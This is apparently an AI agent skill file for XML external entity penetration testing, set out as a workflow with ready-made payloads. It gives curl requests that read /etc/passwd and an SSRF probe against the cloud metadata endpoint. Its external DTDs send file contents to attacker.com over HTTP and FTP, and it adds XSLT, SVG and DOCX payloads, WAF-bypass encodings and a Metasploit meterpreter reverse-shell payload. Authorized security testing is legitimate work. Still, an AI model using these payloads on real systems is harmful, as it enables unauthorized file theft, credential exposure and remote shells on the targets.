| name | xxe-pentest |
| description | Guides XML external entity injection testing with classic, blind OOB, XXE-to-SSRF, and file read payloads. Use when the application accepts XML, SOAP, SVG, DOCX/XLSX, RSS, or other XML-based uploads and parsers may resolve external entities. |
XML External Entity Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Load
web-app-pentest for overall web testing context.
Triggers
- XML/SOAP API endpoints, SAML assertions, or RSS/Atom feeds
- File upload accepting SVG, DOCX, XLSX, XML, or DTD files
- Content-Type
application/xml, text/xml, or application/soap+xml
- Parser errors referencing entities, DTD, or external resolution
- JSON endpoints that accept XML wrappers
- PDF/image conversion pipelines parsing embedded XML
Workflow
Task Progress:
- [ ] Identify XML parsers and input vectors (API, upload, SOAP, office docs)
- [ ] Test with low-impact probes (classic XXE file read, benign entity)
- [ ] Confirm in-band vs blind (OOB) exploitation path
- [ ] Escalate for file read, SSRF, or error-based exfil
- [ ] Document with request/response evidence and extracted file fragments
Detection
Classic XXE (in-band file read)
CLI (primary for web vulns):
curl -X POST "http://<target>/api" -H "Content-Type: application/xml" -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=body --oob=http
Windows: file:///c:/windows/win.ini
MSF MCP: No direct module. Use msf_search_modules(query="xxe") or msf_search_modules(query="xml external entity").
SSRF probe via XXE
CLI (primary):
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>
MSF MCP: No direct module.
Exploitation by variant
Blind OOB XXE (HTTP)
CLI (primary):
ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=body --oob=http --phpfilter
python3 xxeinjector.py --host attacker.com --path / --file request.txt --httpport 80
Host external DTD on attacker server:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
MSF MCP: No direct module.
Blind OOB XXE (FTP exfil channel)
CLI (primary):
python3 xxeinjector.py --host attacker.com --file request.txt --ftpport 2121
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.com:2121/%file;'>">
FTP exfil works when HTTP outbound blocked but FTP allowed; data appears in FTP server logs.
MSF MCP: No direct module.
Error-based XXE (local DTD)
CLI (primary):
<!DOCTYPE foo [<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"><!ENTITY % error SYSTEM 'nonexistent'>%eval;%error;'>
%local_dtd;
]>
MSF MCP: No direct module.
PHP wrapper (base64 exfil)
CLI (primary):
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
MSF MCP: No direct module.
XInclude (when DTD disabled)
CLI (primary):
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
MSF MCP: No direct module.
SVG XXE
CLI (primary):
curl -F "file=@evil.svg" "http://<target>/upload"
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>
MSF MCP: No direct module.
DOCX and Excel XLSX XXE
CLI (primary):
unzip doc.docx -d docx_extract/
zip -r evil.docx docx_extract/
curl -F "file=@evil.docx" "http://<target>/upload"
XLSX variant targets xl/workbook.xml, xl/sharedStrings.xml, or [Content_Types].xml.
MSF MCP: No direct module.
XSLT injection
CLI (primary):
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="evil.xsl"?>
<root/>
evil.xsl:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:ex="http://exslt.org/common">
<xsl:template match="/">
<xsl:value-of select="ex:node-set(system-property('xsl:vendor'))"/>
</xsl:template>
</xsl:stylesheet>
Java XSLT engines may allow java: extension functions for RCE on older parsers.
MSF MCP: No direct module.
WAF bypass
CLI (primary):
ruby XXEinjector.rb --host=attacker.com --file=request.txt --encoding=utf16
UTF-16/UTF-7 encoding, XInclude instead of DTD, parameter entity nesting, base64-encoded body.
MSF MCP: No direct module.
Impact escalation
| Stage | CLI technique |
|---|
| File read | file:// entity, PHP filter base64 |
| SSRF | http:// entity to internal/metadata |
| RCE | XSLT injection, SSRF to internal admin |
| OOB exfil | HTTP or FTP blind channels |
MSF MCP post-SSRF/RCE:
msf_search_modules(query="ssrf")
msf_generate_payload(
engagement_id="<id>",
payload="linux/x64/meterpreter/reverse_tcp",
format="elf",
options={"LHOST": "<attacker>", "LPORT": 4444},
output_path="evidence/msf/payload.elf"
)
Tool reference
ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=body --oob=http --phpfilter
python3 xxeinjector.py --host attacker.com --file request.txt --httpport 80 --ftpport 2121
Burp Collaborator for OOB confirmation.
Related skills
web-app-pentest - overall web testing flow
ssrf-pentest - XXE frequently chains to internal SSRF
lfi-pentest - PHP wrapper XXE overlaps with local file read primitives